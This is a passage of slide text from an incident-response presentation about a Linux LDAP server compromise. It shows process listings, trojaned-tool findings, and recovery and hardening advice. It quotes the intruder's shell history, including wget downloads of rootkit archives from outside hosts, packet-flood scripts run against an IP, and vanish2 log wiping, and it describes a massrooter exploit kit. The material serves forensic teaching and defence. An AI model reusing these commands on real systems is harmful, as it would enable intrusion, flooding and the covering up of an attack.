    [root@ldap2 /root]# topn 1 b PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME COMMAND 1 root 8 0 124 72 52 S 0.0 0.0 0:04 init 2 root 9 0 0 0 0 SW 0.0 0.0 0:00 keventd 3 root 9 0 0 0 0 SW 0.0 0.0 0:00 kswapd 4 root 9 0 0 0 0 SW 0.0 0.0 0:00 kreclaimd 5 root 9 0 0 0 0 SW 0.0 0.0 0:00 bdflush 6 root 9 0 0 0 0 SW 0.0 0.0 0:00 kupdated 7 root -1 -20 0 0 0 SW< 0.0 0.0 0:00 mdrecoveryd 524 root 9 0 352 332 252 S 0.0 0.2 0:28 syslogd 529 root 9 0 992 656 344 S 0.0 0.5 0:00 klogd 679 root 9 0 132 44 28 S 0.0 0.0 0:00 automount 691 daemon 9 0 108 44 44 S 0.0 0.0 0:00 atd 706 root 9 0 660 592 488 S 0.0 0.4 0:20 sshd 726 root 9 0 668 600 456 S 0.0 0.4 0:00 xinetd 767 root 8 0 1296 996 776 S 0.0 0.7 0:00 sendmail 780 root 9 0 108 52 36 S 0.0 0.0 0:00 gpm 792 root 9 0 2840 864 672 S 0.0 0.6 0:00 nessusd 804 root 9 0 588 580 536 S 0.0 0.4 0:00 crond 840 xfs 9 0 3664 2496 956 S 0.0 1.9 0:00 xfs 866 root 9 0 5120 4976 1144 S 0.0 3.9 0:00 slapd
  • 15.
    872 root 9 0 64 4 4 S 0.0 0.0 0:00 mingetty 873 root 9 0 64 4 4 S 0.0 0.0 0:00 mingetty 874 root 9 0 2848 2632 2444 S 0.0 2.0 0:00 kdm 879 root 9 0 5120 4976 1144 S 0.0 3.9 0:00 slapd 880 root 9 0 5120 4976 1144 S 0.0 3.9 0:23 slapd 884 root 9 0 12540 12M 1772 S 0.0 9.8 0:00 X 888 root 8 0 4720 4188 3808 S 0.0 3.3 0:00 kdm 937 root 9 0 1132 936 732 S 0.0 0.7 0:00 slapd 942 root 9 0 5120 4976 1144 S 0.0 3.9 2:17 slapd 944 root 9 0 5120 4976 1144 S 0.0 3.9 2:16 slapd 8214 hacker 9 0 504 504 424 S 0.0 0.3 0:00 bnc 20750 root 9 0 660 660 548 S 0.0 0.5 0:00 nfsd 32407 root 9 0 612 608 540 S 0.0 0.4 0:00 crond 32408 root 8 0 908 908 768 S 0.0 0.7 0:00 run-parts 32410 root 9 0 552 552 464 S 0.0 0.4 0:00 awk 32411 root 9 0 880 880 756 S 0.0 0.6 0:00 sa1 32413 root 9 0 512 512 448 S 0.0 0.4 0:00 sadc 32485 root 10 0 1848 1828 1480 R 0.0 1.4 0:00 sshd 32486 root 11 0 1352 1352 1024 S 0.0 1.0 0:00 bash 32555 root 12 0 1024 1024 828 R 0.0 0.8 0:00 top [root@ldap2 /root]#
  • 16.
    [root@ldap1 /tmp]# ls-la /tmp total 9 drwxrwxrwt 9 root root 1024 Jun 24 10:48 . drwxr-xr-x 3 501 ftp 1024 Jun 17 03:41 ., [root@ldap2 mail]# cat /var/hacker/ .bash_history .bash_profile .emacs .screenrc Mail m.tgz .bash_logout .bashrc .kde Desktop a [root@ldap2 mail]# cat /var/hacker/ [root@ldap2 myrk]# cat ./ .1addr linsniffer ps ssh_random_seed tcp.log .1file lpd pwd sshd utils .1proc ls sense sshd_config wipe hideps netstat ssh_host_key string install new-host ssh_host_key.pub sysinfo Notes: The directory &quot;.,&quot; (dot-comma) created by the intruder. Linsniffer stores the log in a file called tcp.log I had to use “cat <tab>” since “ls” was trojaned, and would not list anything at all!
  • 17.
    bnc 8214hacker cwd DIR 72,7 0 10082 /var/hacker/bnc2.6.4 (deleted) bnc 8214 hacker rtd DIR 72,8 1024 2 / bnc 8214 hacker txt REG 72,7 25784 10111 /var/hacker/bnc2.6.4/bnc (deleted) bnc 8214 hacker mem REG 72,8 471781 44354 /lib/ld-2.2.2.so bnc 8214 hacker mem REG 72,8 445289 44372 /lib/libnsl-2.2.2.so bnc 8214 hacker mem REG 72,8 274054 44401 /lib/libresolv-2.2.2.so bnc 8214 hacker mem REG 72,8 95362 44365 /lib/libcrypt-2.2.2.so bnc 8214 hacker mem REG 72,8 5634864 4035 /lib/i686/libc-2.2.2.so bnc 8214 hacker 0u CHR 136,0 2 /dev/pts/0 bnc 8214 hacker 1u CHR 136,0 2 /dev/pts/0 bnc 8214 hacker 2u CHR 136,0 2 /dev/pts/0 bnc 8214 hacker 3u IPv4 272344 TCP *:12300 (LISTEN Note: Look at this block copied from LSOF: He has installed/started IRC bouncer (bnc) and deleted the files. Other such processes were: sysd, running in place of sshd, a fake nfsd ( what was that meant for? )
  • 18.
    Active Internet connections(servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:389 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6010 0.0.0.0:* LISTEN tcp 1 0 1.2.3.1:21 62.211.226.191:51221 CLOSE_WAIT tcp 0 48 1.2.3.1:22 mylaptop:40657 ESTABLISHED tcp 0 0 1.2.3.1:389 another_legitserver:4746 ESTABLISHED [root@ldap1 /root]# Note: With my version of netstat The FTP connection just hangs, since firewall is blocking outgoing FTP, See the IP 62.x.x.x in Foreign Address column?
  • 19.
    [root@ldap2 myrk]#tail /etc-n 10 /etc/rc.d/rc.sysinit dmesg > /var/log/dmesg sleep 1 kill -TERM `/sbin/pidof getkey` >/dev/null 2>&1 } & if [ &quot;$PROMPT&quot; != &quot;no&quot; ]; then /sbin/getkey i && touch /var/run/confirm fi wait nfsd -q -p 54789 This is not a real NFS daemon! It listens for commands of some sort, though I could not figure out what exactly it was meant for
  • 20.
    [root@ldap2 myrk]# cat/var/hacker/.bash_history~ wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -r black.tar.gz exec ./a 8245 wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -r black.tar.gz ls rm -r m2.tar.gz perl udp.pl 62.0.115.207 0 0 rm -r a.c ls gcc -o p packit.c ls ./p 62.0.115.207 0 ./p 62.0.115.207 0 ls bash_history was fine, shows only legit traffic. I found a bash_history~ (created by vi or did he copy?) that shows intruder activity!
  • 21.
    rm -r packit.crm -r udp.pl rm -r p tar xvfz bnc2.6.4.tar.gz;cd bnc2.6.4;./configure;make;./bncsetup ./bncsetup ./bnc ./bnc ./bnc ./bnc killall -9 bnc ./bnc pico bnc.conf cd .. ls rm -r bnc2.6.4 rm -r bnc2.6.4.tar.gz gcc -o a a.c;rm -r a.c;./a ls ./a ./a 1.2.3
  • 22.
    ls rm -ra gcc -o a a.c;rm -r a.c;./a wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe ls;w;ls wget http://download.microsoft.com/download/win2000pro/Update/8.1/NT5/EN-US/DX81NTeng.exe;rm -r DX81NTeng.exe ls;w wget http://home.dal.net/oc248/m.tgz Note: Why download DirectX from MS? What was he trying to do? There is nothing at home.dal.net now.
  • 23.
    wget http://www.angelfire.com/yt3/nblio/black.tar.gz;rm -rblack.tar.gz exec ./a 12355 exec ./a 12373 cd myrk; pico install; cd myrk ./install ./a wget http://home.dal.net/oc248/m.tgz ls tar xvfz m.tgz ./a exec ./a 20689 cd myrk pico install cd .. ./a mutt;exit [root@ldap2 myrk]# Note: The file black.tar.gz is still available at angelfire. Go get it if you want to analyse further.
  • 24.
    269 ipconfig270 ifconfig 271 exirt 272 exit 273 cd costy 274 ls 275 id 276 cd logdel/ 277 export blah=freekevin 278 ./vanish2 sysd ti221110a080-0520.bb.online.no 80.213.2.8 279 cd /home/ 280 ls 281 cd TTX/ 282 ls; cd .. 284 cd admin/ 285 ls 286 cd Desktop/
  • 25.
    304 cdroot/ 305 ls 306 last 307 cd /tmp/., 308 ls 309 rm -rf chmrk-0.3.tgz 310 cd ., 311 ls 312 cd /etc/ 313 cat passwd 314 who 314 who 315 pico passwd 316 export TERM=vt100 317 pico passwd 318 pico shadow 319 cd /var/tmp 320 mkdir ., 321 cd ., 322 ls 323 wget www.geocities.com/freeaxcess/chmrk-0.9.tgz
  • 26.
    324 wgetwww.geocities.com/freeaxcess/chmrk-0.9.tgz 325 ping www.geocities.com 326 cd /tmp/., 327 la; ls ; cd ., ; ls 331 alias ls=&quot;ls --color=always&quot; 332 ls -la 333 cd logdel 334 ls 335 ./vanish2 336 expotr blah=768 337 export blah=768 338 ls 339 ./vanish2 340 export blah768=freekevin 341 ./vanish2 342 ./vanish2 sysd crionized.net 217.8.139.50 VANISH2 is used to erase any traces left behind (syslogs, utmp, wtmp etc)
  • 27.
  • 28.
    Root Kit DetailsTwo kits used: “myrk/lrk” and “black”: These have a complete set of tools to hide netstat, ps, etc to hide the intruder's activity Sysd seems legit, but is a sshd replacement that silently accepts logins “Black” kit is actually a massrooter: kind-of uber-tool. surprisingly google won't show much on this (atleast turned up 0 results when I did a search then). It has exploits for lpd, rpc-statd, ftpd, bind, passwd bruteforcer etc. Includes ssh-scan, fingerprinting, portscanner, DoS tool and more!
  • 29.
    Massrooter, autorooters Newdangerous tool that scans thousands of IP addresses, looking for open ports. Once an open port is found, attempts to get the version if reqd (say wuftpd, proftpd-pre etc), and runs the exploit. Installs the backdoor and emails the intruder! If managed properly, can yield hundreds of rooted servers in a day The code does not seem to patch the vuln.s or lock the ports after 0wning the system, subsequent attackers can run exploits!
  • 30.
    File Details: [anand@ariesmassrooter]$ ls 1* lpd.conf packet.pl s* ssh/ wum.c ybsd* YRH* bind/ Makefile portscan.c scan* targets wus* YBSD* YRH.c brute* p* pscan.c scan.conf targets.txt wus.c YBSD.c ftpd/ packet* r00t* sec* wu* xinetd* ylpd* lpd/ packet.c rpc/ src/ wum* xinetd.c ylpd.c [anand@aries massrooter]$ Notes: wum, wus, ftpd/ contain FTP exploits similar comments for lpd bind rpc etc., packet.pl is a DoS tool r00t is a script that runs the attacks against the selected hosts
  • 31.
    Risks of GettingCracked Your reputation is at stake, who will give you business if you have poor reputation? Information loss, loss of revenue, warez traffic DoS, UCE, other attacks originating from your site Getting blacklisted (RBL,DNSBL, dshield.org) Legal implications (esp in US: HIPAA etc), I am trying to figure out what happens in SG, where the law enforcement is stricter and more efficient...
  • 32.
    Summary: What HappenedThe sequence I reconstructed is as follows: The cracker scans for vulnerable systems. Finds L2 has buggy WU-FTPD, uses a remote exploit to break-in See: http://www.cert.org/advisories/CA-2001-33.html (My guess that the globbing related errors were used to gain root access) Creates 2 accounts for himself to login later ( user = ra , user = hacker). The account had UID=0 (same as root). Sets up the Secure Shell keys Alters system startup file to start listeners for him to login later (nfsd, via /etc/rc.d/rc.sysinit) Downloads rootkits from DALNET IRC servers, compiles, installs. Replaces several system tools (ls, ps, netstat, etc) with his trojaned versions. Starts up the services necessary for subsequent logins, and deletes all the kits he has downloaded to wipe out the traces
  • 33.
    Summary: Recovery Afterdetecting the intrusion, here's how they were recovered: Avoid initiating logins, initiating scp etc from L1, L2. Initiate all traffic from my laptop. Identify critical data: LDAP database. use ldapsearch from my laptop to collect the LDAP data. Ssh and get the crypt-pw, schema files & other ldap config files. Since ls, sshd etc were trojaned, 'clean version' of tools (lsof, ls, ps,netstat, ifconfig etc) scp'd to remote, start my sshd on port 7022. Kill listener (sysd) on 22, fake nfsd, and other backdoors. Since further forensics (TCT etc) was ruled out, collected enough raw data to analyse further and shutdown both servers Reinstalled both servers with another recent Linux distro, properly configured, tested, reinstalled ldap data (ldapadd) and released to production.
  • 34.
    Summary: What damagewas done? From what I could trace: The kit was made by someone in [email_address] .co.il (most likely used by someother person) The intruder had no specific reason to attack these systems.There was no 'interesting' data on the servers for the intruder. His skill levels were poor. Though he attempted to wipe out fingerprints, he had actually left a lot! He has used the servers to scan the internal network, and compromise other vulnerable systems on the Net. Used the servers as a store for malware ( rootkits etc), bounce IRC sessions (bnc)
  • 35.
    What Are TheLessons? Do not be complacent: Linux can be only secure if you invest time and effort to keep it that way You need not be a juicy target to get attacked, Your server will be used to launch further attacks elsewhere Read bugtraq, your vendors' update release notes. UPDATE, UPDATE, UPDATE! Patch/Update aggressively, especially exposed servers, servers use by many,many people (mail, file etc). Figure out what services, open ports are needed, never accept defaults without knowing what the default implies.Firewall all/almost all of them. Use private(RFC1918) nets extensively
  • 36.
    Suggestions Be paranoid,but use commonsense Hire a security conscious admin, security is a full time job, cannot be done by part-timers Segregate, minimise access (eg: Office servers - office desktops - production servers - staging nets - security scanning laptops -honeynets. Segregate by functionality: Firewall does only filtering, port forwarding. Webserver runs Apache only and nothing else and so on. Watch bugtraq, underground. Do your own testing
  • 37.
    Suggested Actions Ingressand Egress filtering - a must. Push out your filtering as far out as possible Install absolutely minimal packages: Ready presence of gcc, make, perl etc simplifies intruder's job Give minimal access rights (eg: pop/smtp, samba users do not get shell acess) Consider implementing LIDS, grsecurity patches to restrict root's omnipotent powers
  • 38.
    Must Have Tools/SoftwareLinux has just too many! Here's a pick of the best: Servers, network: Tripwire, LIDS, GrSecurity, libsafe, ACL patches Snort+*SQL, ACID Stunnel, OpenSSH, lsof, lslk On the security workstation/laptop: Tcpdump, Nmap, netcat Ethereal, etherape, ntop, dsniff TCT (The Coroner's Toolkit)
  • 39.
    Resources Apart fromthe popular ones, some more useful sites: http://online.securityfocus.com/infocus/1619 (recent article on autorooters) www.cotse.com (root kits download) www.dshield.org (log submission and fightback) www.chkrootkit.org (check for local rk) www.honeynet.org http://www.cert.org/tech_tips/AUSCERT_checklist2.0.html (Unix Sec. checklist) rr.sans.org (SANS Reading Room) www.linuxsecurity.com http://www.enteract.com/~Elspitz/pubs.html (seems to be down ?) Underground – book
  • 40.
    Acknowledgements & CopyingThis material is based on my experience as well as material collected from the web This presentation can be redistributed as follows: No commercial re-distribution: eg, as part of a for-profit CDROM or as part of your sales pitch. Seek my permission first. Must attribute the document creator. Share alike: If you use this document and enhance it or modify, share the modifications or the modified document Which means I apply: Creative Commons License, http://creativecommons.org/licenses/by-nc-sa/3.0/
  • 41.
    The End Thanks for your time. If you have any feedback, corrections or questions please contact me: Anand Vaidya, vaidya.anand@gmail.com This document was created with OpenOffice on Linux. email me if you want the odp file instead of the pdf